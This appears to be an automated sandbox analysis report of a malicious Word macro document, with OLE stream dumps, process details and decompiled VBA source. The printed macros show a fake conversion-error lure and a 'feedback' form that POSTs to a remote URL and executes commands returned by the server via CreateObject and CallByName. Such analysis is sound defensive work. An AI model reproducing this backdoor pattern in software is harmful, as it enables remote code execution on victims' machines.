End Sub


Private Sub UserForm_Activate()
 sended = False
 
End Sub

Private Sub UserForm_QueryClose(Cancel As Integer, CloseMode As Integer)
    If sended = False Then
        feedbackAction "status=close"
    End If

End Sub
General
Stream Path:\x1CompObj
File Type:data
Stream Size:121
Entropy:4.54740015507
Base64 Encoded:True
Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . F ' . . . . . . . . . . . M i c r o s o f t O f f i c e W o r d 9 7 - 2 0 0 3 . . . . . M S W o r d D o c . . . . . W o r d . D o c u m e n t . 8 . . 9 . q . . . . . . . . . . . .
Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 27 00 00 00 c4 ee ea f3 ec e5 ed f2 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 57 6f 72 64 20 39 37 2d 32 30 30 33 00 0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
General
Stream Path:\x5DocumentSummaryInformation
File Type:data
Stream Size:4096
Entropy:0.239192197565
Base64 Encoded:False
Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 d8 00 00 00 0b 00 00 00 01 00 00 00 60 00 00 00 05 00 00 00 68 00 00 00 06 00 00 00 70 00 00 00 11 00 00 00 78 00 00 00 17 00 00 00 80 00 00 00 0b 00 00 00 88 00 00 00 10 00 00 00 90 00 00 00 13 00 00 00 98 00 00 00 16 00 00 00 a0 00 00 00
General
Stream Path:\x5SummaryInformation
File Type:data
Stream Size:4096
Entropy:0.382642503788
Base64 Encoded:False
Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . \\ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . $ . . . . . . . 0 . . . . . . . < . . . . . . . D . . . . . . . L . . . . . . . T . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 5c 01 00 00 11 00 00 00 01 00 00 00 90 00 00 00 02 00 00 00 98 00 00 00 03 00 00 00 a4 00 00 00 04 00 00 00 b0 00 00 00 05 00 00 00 bc 00 00 00 06 00 00 00 c8 00 00 00 07 00 00 00 d4 00 00 00 08 00 00 00 e0 00 00 00 09 00 00 00 ec 00 00 00
General
Stream Path:1Table
File Type:data
Stream Size:6486
Entropy:6.11359026644
Base64 Encoded:True
Data ASCII:j . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . > . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . .
Data Raw:6a 04 0f 00 12 00 01 00 0b 01 0f 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00
General
Stream Path:Macros/PROJECT
File Type:ASCII text, with CRLF line terminators
Stream Size:522
Entropy:5.36128603171
Base64 Encoded:True
Data ASCII:I D = " { 7 2 2 B C 0 1 1 - 3 4 6 F - 4 1 6 2 - 8 2 8 6 - 4 4 C D 3 5 9 E D 7 4 2 } " . . D o c u m e n t = T h i s D o c u m e n t / & H 0 0 0 0 0 0 0 0 . . C l a s s = F e e d b a c k . . P a c k a g e = { A C 9 F 2 F 9 0 - E 8 7 7 - 1 1 C E - 9 F 6 8 - 0 0 A A 0 0 5 7 4 A 4 F } . . B a s e C l a s s = f r m F e e d b a c k . . N a m e = " P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " D 7 D 5 4 B A 8 F D 5 8 D 2 5 C D
Data Raw:49 44 3d 22 7b 37 32 32 42 43 30 31 31 2d 33 34 36 46 2d 34 31 36 32 2d 38 32 38 36 2d 34 34 43 44 33 35 39 45 44 37 34 32 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 44 6f 63 75 6d 65 6e 74 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 43 6c 61 73 73 3d 46 65 65 64 62 61 63 6b 0d 0a 50 61 63 6b 61 67 65 3d 7b 41 43 39 46 32 46 39 30 2d 45 38 37 37 2d 31 31 43 45 2d 39 46 36 38 2d
General
Stream Path:Macros/PROJECTwm
File Type:data
Stream Size:104
Entropy:3.38114752862
Base64 Encoded:False
Data ASCII:T h i s D o c u m e n t . T . h . i . s . D . o . c . u . m . e . n . t . . . F e e d b a c k . F . e . e . d . b . a . c . k . . . f r m F e e d b a c k . f . r . m . F . e . e . d . b . a . c . k . . . . .
Data Raw:54 68 69 73 44 6f 63 75 6d 65 6e 74 00 54 00 68 00 69 00 73 00 44 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 00 00 46 65 65 64 62 61 63 6b 00 46 00 65 00 65 00 64 00 62 00 61 00 63 00 6b 00 00 00 66 72 6d 46 65 65 64 62 61 63 6b 00 66 00 72 00 6d 00 46 00 65 00 65 00 64 00 62 00 61 00 63 00 6b 00 00 00 00 00
General
Stream Path:Macros/VBA/_VBA_PROJECT
File Type:data
Stream Size:3939
Entropy:4.41745860449
Base64 Encoded:False
Data ASCII:. a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F .
Data Raw:cc 61 88 00 00 01 00 ff 19 04 00 00 09 04 00 00 e3 04 01 00 00 00 00 00 00 00 00 00 01 00 06 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00
General
Stream Path:Macros/VBA/dir
File Type:data
Stream Size:929
Entropy:6.50645672637
Base64 Encoded:True
Data ASCII:. . . . . . . . . . . . 0 * . . . . . p . . H . . . . . d . . . . . . . . P r o j e c t . Q . ( . . @ . . . . . = . . . . . l . . . . . . . . . b . . b . . . . J . < . . . . . r s t d . o l e > . . s . t . . d . o . l . e P . . . h . % ^ . . * . \\ G { 0 0 0 2 0 . 4 3 0 - . . . . C . . . . . . . 0 0 4 6 } # . 2 . 0 # 0 # C : . \\ W i n d o w s . \\ S y s W O W 6 . 4 \\ . e 2 . t l b . # O L E A u t . o m a t i o n . ` . . . . E O f f i c . E . O . f . . i . c . E . . . . . . . . E 2 D F . 8 D 0 4 C - 5 B . F
Data Raw:01 9d b3 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e3 04 04 00 07 00 1c 00 50 72 6f 6a 65 63 74 05 51 00 28 00 00 40 02 14 06 02 14 3d ad 02 0a 07 02 6c 01 14 08 06 12 09 02 12 80 62 91 e2 62 0e 00 0c 02 4a 12 3c 02 0a 16 00 01 72 73 74 64 10 6f 6c 65 3e 02 19 73 00 74 00 00 64 00 6f 00 6c 00 65 50 00 0d 00 68 00 25 5e 00 03 2a 00 5c 47 7b 30 30
General
Stream Path:Macros/frmFeedback/\x1CompObj
File Type:data
Stream Size:97
Entropy:3.61064918306
Base64 Encoded:False
Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t F o r m s 2 . 0 F o r m . . . . . E m b e d d e d O b j e c t . . . . . . 9 . q . . . . . . . . . . . .
Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d 62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
General
Stream Path:Macros/frmFeedback/\x3VBFrame
File Type:ASCII text, with CRLF line terminators
Stream Size:301
Entropy:4.66093781991
Base64 Encoded:True
Data ASCII:V E R S I O N 5 . 0 0 . . B e g i n { C 6 2 A 6 9 F 0 - 1 6 D C - 1 1 C E - 9 E 9 8 - 0 0 A A 0 0 5 7 4 A 4 F } f r m F e e d b a c k . . C a p t i o n = " F e e d b a c k s e r v i c e " . . C l i e n t H e i g h t = 4 0 8 0 . . C l i e n t L e f t = 4 5 . . C l i e n t T o p = 3 9 0 . . C l i e n t W i d t h = 5 0 1 0 . . S t a r t U p P o s i t i o n = 1 '
Data Raw:56 45 52 53 49 4f 4e 20 35 2e 30 30 0d 0a 42 65 67 69 6e 20 7b 43 36 32 41 36 39 46 30 2d 31 36 44 43 2d 31 31 43 45 2d 39 45 39 38 2d 30 30 41 41 30 30 35 37 34 41 34 46 7d 20 66 72 6d 46 65 65 64 62 61 63 6b 20 0d 0a 20 20 20 43 61 70 74 69 6f 6e 20 20 20 20 20 20 20 20 20 3d 20 20 20 22 46 65 65 64 62 61 63 6b 20 73 65 72 76 69 63 65 22 0d 0a 20 20 20 43 6c 69 65 6e 74 48 65 69
General
Stream Path:Macros/frmFeedback/f
File Type:data
Stream Size:379
Entropy:3.99263750282
Base64 Encoded:False
Data ASCII:. . $ . . . . . . . . . . . . . . . . . . } . . . " . . . . . . . . . . . . . . . R . . . . . . . . . . . K . Q . . . . . . D B . . . T a h o m a . . . . . . ( . . . . . . d . . ( . . . . . . . . . . . . . | . . . . . . . C h e c k B o x 1 n f . . . . . . . . . . ( . . . . . . . . . . . . . . . . . . . . . C h e c k B o x 2 . i . . . . . O . . . . . $ . . . . . . . . . . . . . @ . . . . . . . b t n S e n d . . . . . . . . . . . $ . . . . . . . . . . . . . 8 . . . . . . . b t n C l o s e . . . . . . . . .
Data Raw:00 04 24 00 08 0c 10 0c 0b 00 00 00 ff ff 00 00 11 00 00 00 00 7d 00 00 85 22 00 00 1d 1c 00 00 00 00 00 00 00 00 00 00 03 52 e3 0b 91 8f ce 11 9d e3 00 aa 00 4b b8 51 01 cc 00 00 90 01 44 42 01 00 06 54 61 68 6f 6d 61 00 00 07 00 00 00 28 01 00 00 00 87 01 64 00 00 28 00 e5 01 00 00 09 00 00 80 01 00 00 00 7c 00 00 00 00 00 1a 00 43 68 65 63 6b 42 6f 78 31 6e 20 66 d4 00 00 00 d4
General
Stream Path:Macros/frmFeedback/o
File Type:data
Stream Size:632
Entropy:4.6121814145
Base64 Encoded:False
Data ASCII:. . \\ . F . . . . . . . . . . . . . . . . . . . . . . . 1 . . . . . . { . . . 0 . . . A r e y o u h a p p y w i t h t h e q u a l i t y o f t h e c o n v e r s i o n ? . x . . . . . 5 . . . . . . . . . . . . . . . T a h o m a . . . . d . F . . . . . . . . . . . . . . . . . . . . . . . < . . . . . . W . . . 0 . . . W e r e t h e r e a n y e r r o r s i n t h e t r a n s f o r m a t i o n o f t h e d o c u m e n t ? . . . . 5 . . . . . . . . . . . . . . . T a h o m a . .
Data Raw:00 02 5c 00 46 01 c0 80 00 00 00 00 0f 00 00 80 12 00 00 80 04 00 00 00 01 00 00 80 31 00 00 80 f8 20 00 00 7b 02 00 00 30 1e 1f 01 41 72 65 20 79 6f 75 20 68 61 70 70 79 20 77 69 74 68 20 74 68 65 20 71 75 61 6c 69 74 79 20 6f 66 20 74 68 65 20 63 6f 6e 76 65 72 73 69 6f 6e 3f 00 78 00 00 02 18 00 35 00 00 00 06 00 00 80 a5 00 00 00 cc 02 00 00 54 61 68 6f 6d 61 00 00 00 02 64 00
General
Stream Path:WordDocument
File Type:data
Stream Size:4096
Entropy:0.953877847754
Base64 Encoded:False
Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . b j b j . . . . . . . . . . . . . . . . . . . . . . . . . . 4 . . . . e . . . e . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:ec a5 c1 00 07 80 19 04 00 00 f1 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 01 08 00 00 0e 00 62 6a 62 6a bc 0f bc 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 04 16 00 34 0e 00 00 de 65 01 00 de 65 01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

050100s020406080100

Click to jump to process

Memory Usage

050100s0.00204060MB

Click to jump to process

High Level Behavior Distribution

  • File
  • Registry

Click to dive into process behavior distribution

System Behavior

Start time:19:39:34
Start date:21/07/2021
Path:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):false
Commandline:'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Imagebase:0x13f1d0000
File size:1424032 bytes
MD5 hash:95C38D04597050285A18F66039EDB456
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:high

Disassembly

Call Graph

Graph

Hide Legend
  • Entrypoint
  • Decryption Function
  • Executed
  • Not Executed
  • Show Help
callgraph 9 process MsgBox:1,LBound:1,CallByName:1,UBound:2,CreateObject:1, Split:2,VbMethod:1 103 send Status:1,Trim:1,setRequestHeader:1,responseText:1,CreateObject:1, Open:1 103->9 103->103 165 Document_Close MsgBox:1 191 feedbackAction 191->103 219 btnClose_Click 219->191 225 btnSend_Click 225->191 255 UserForm_Activate 259 UserForm_QueryClose 259->191

Module: Feedback

Declaration
LineContent
1

Attribute VB_Name = "Feedback"

2

Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"

3

Attribute VB_GlobalNameSpace = False

4

Attribute VB_Creatable = False

5

Attribute VB_PredeclaredId = False

6

Attribute VB_Exposed = False

7

Attribute VB_TemplateDerived = False

8

Attribute VB_Customizable = False

Non-Executed Functions
APIsMeta Information

CreateObject

Open

Trim

setRequestHeader

Part of subcall function send@Feedback: CreateObject

Part of subcall function send@Feedback: Open

Part of subcall function send@Feedback: Trim

Part of subcall function send@Feedback: setRequestHeader

Part of subcall function send@Feedback: Status

Part of subcall function send@Feedback: responseText

Status

Part of subcall function process@Feedback: Split

Part of subcall function process@Feedback: vbCrLf

Part of subcall function process@Feedback: LBound

Part of subcall function process@Feedback: UBound

Part of subcall function process@Feedback: Split

Part of subcall function process@Feedback: UBound

Part of subcall function process@Feedback: MsgBox

Part of subcall function process@Feedback: CreateObject

Part of subcall function process@Feedback: CallByName

Part of subcall function process@Feedback: VbMethod

responseText

StringsDecrypted Strings
"MSXML2.ServerXMLHTTP"
"POST"
"Content-Type"
"application/x-www-form-urlencoded"
"200"
LineInstructionMeta Information
35

Public Sub send(data as String, requesUrl as String)

38

Set obj = CreateObject("MSXML2.ServerXMLHTTP")

CreateObject

CreateObject

39

obj.Open "POST", Trim(requesUrl), False

Open

Trim

Open

Trim

40

obj.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"

setRequestHeader

setRequestHeader

41

obj.send (data)

43

If obj.Status = "200" Then

Status

Status

44

process (obj.responseText)

responseText

responseText

45

Endif

46

End Sub

APIsMeta Information

Split

vbCrLf

LBound

UBound

Split

UBound

MsgBox

CreateObject

CallByName

VbMethod

StringsDecrypted Strings
"|"
"|"
LineInstructionMeta Information
12

Private Sub process(data as String)

13

Dim lines() as String

14

Dim fields() as String

16

lines = Split(data, vbCrLf)

Split

vbCrLf

17

For i = LBound(lines, 1) To UBound(lines, 1)

LBound

UBound

18

fields = Split(lines(i), "|", 3)

Split

20

If UBound(fields) = 0 Then

UBound

21

MsgBox lines(i)

MsgBox

22

Else

23

Dim obj as Object

24

Set obj = CreateObject(fields(0))

CreateObject

25

Reply = CallByName(obj, fields(1), VbMethod, fields(2), 0)

CallByName

VbMethod

26

Endif

27

Next i

LBound

UBound

32

End Sub

Module: ThisDocument

Declaration
LineContent
1

Attribute VB_Name = "ThisDocument"

2

Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"

3

Attribute VB_GlobalNameSpace = False

4

Attribute VB_Creatable = False

5

Attribute VB_PredeclaredId = True

6

Attribute VB_Exposed = True

7

Attribute VB_TemplateDerived = False

8

Attribute VB_Customizable = True

10

Rem Attribute VBA_ModuleType=VBADocumentModule

Executed Functions
APIsMeta Information

MsgBox

vbCritical

Show

StringsDecrypted Strings
"Conversion fail"
"ERROR: Bad document version"
LineInstructionMeta Information
12

Private Sub Document_Close()

14

MsgBox "ERROR: Bad document version", vbCritical, "Conversion fail"

MsgBox

vbCritical

executed
15

frmFeedback.Show

Show

18

End Sub

Module: frmFeedback

Declaration
LineContent
1

Attribute VB_Name = "frmFeedback"

2

Attribute VB_Base = "0{D3A91B38-4DB9-4127-BDC6-A12A02586370}{ABE498BB-A746-48CC-9E40-3567E6F5903F}"

3

Attribute VB_GlobalNameSpace = False

4

Attribute VB_Creatable = False

5

Attribute VB_PredeclaredId = True

6

Attribute VB_Exposed = False

7

Attribute VB_TemplateDerived = False

8

Attribute VB_Customizable = False

9

Dim sended as Boolean

Executed Functions
LineInstructionMeta Information
40

Private Sub UserForm_Activate()

41

sended = False

executed
43

End Sub

Non-Executed Functions
APIsMeta Information

Part of subcall function send@Feedback: CreateObject

Part of subcall function send@Feedback: Open

Part of subcall function send@Feedback: Trim

Part of subcall function send@Feedback: setRequestHeader

Part of subcall function send@Feedback: Status

Part of subcall function send@Feedback: responseText

Unload

Me

LineInstructionMeta Information
12

Private Sub feedbackAction(data as String)

13

Dim fb as Feedback

14

Set fb = New Feedback

15

sended = True

16

fb.send data, frmFeedback.TextBox2.Value

20

Unload Me

Unload

Me

21

End Sub

APIsMeta Information

CheckBox1

CheckBox2

Part of subcall function feedbackAction@frmFeedback: Unload

Part of subcall function feedbackAction@frmFeedback: Me

StringsDecrypted Strings
"status=ok""&answer_1="
LineInstructionMeta Information
28

Private Sub btnSend_Click()

29

Dim text as String

31

text = "status=ok" & "&answer_1=" & frmFeedback.CheckBox1.Value & "&answer_2=" & frmFeedback.CheckBox2.Value & "&comment=" & frmFeedback.TextBox1.Value

CheckBox1

CheckBox2

36

feedbackAction text

37

End Sub

APIsMeta Information

Part of subcall function feedbackAction@frmFeedback: Unload

Part of subcall function feedbackAction@frmFeedback: Me

StringsDecrypted Strings
"status=close"
"status=close"
LineInstructionMeta Information
45

Private Sub UserForm_QueryClose(Cancel as Integer, CloseMode as Integer)

46

If sended = False Then

47

feedbackAction "status=close"

48

Endif

50

End Sub

APIsMeta Information

Part of subcall function feedbackAction@frmFeedback: Unload

Part of subcall function feedbackAction@frmFeedback: Me

StringsDecrypted Strings
"status=cancel"
LineInstructionMeta Information
23

Private Sub btnClose_Click()

24

feedbackAction "status=cancel"

26

End Sub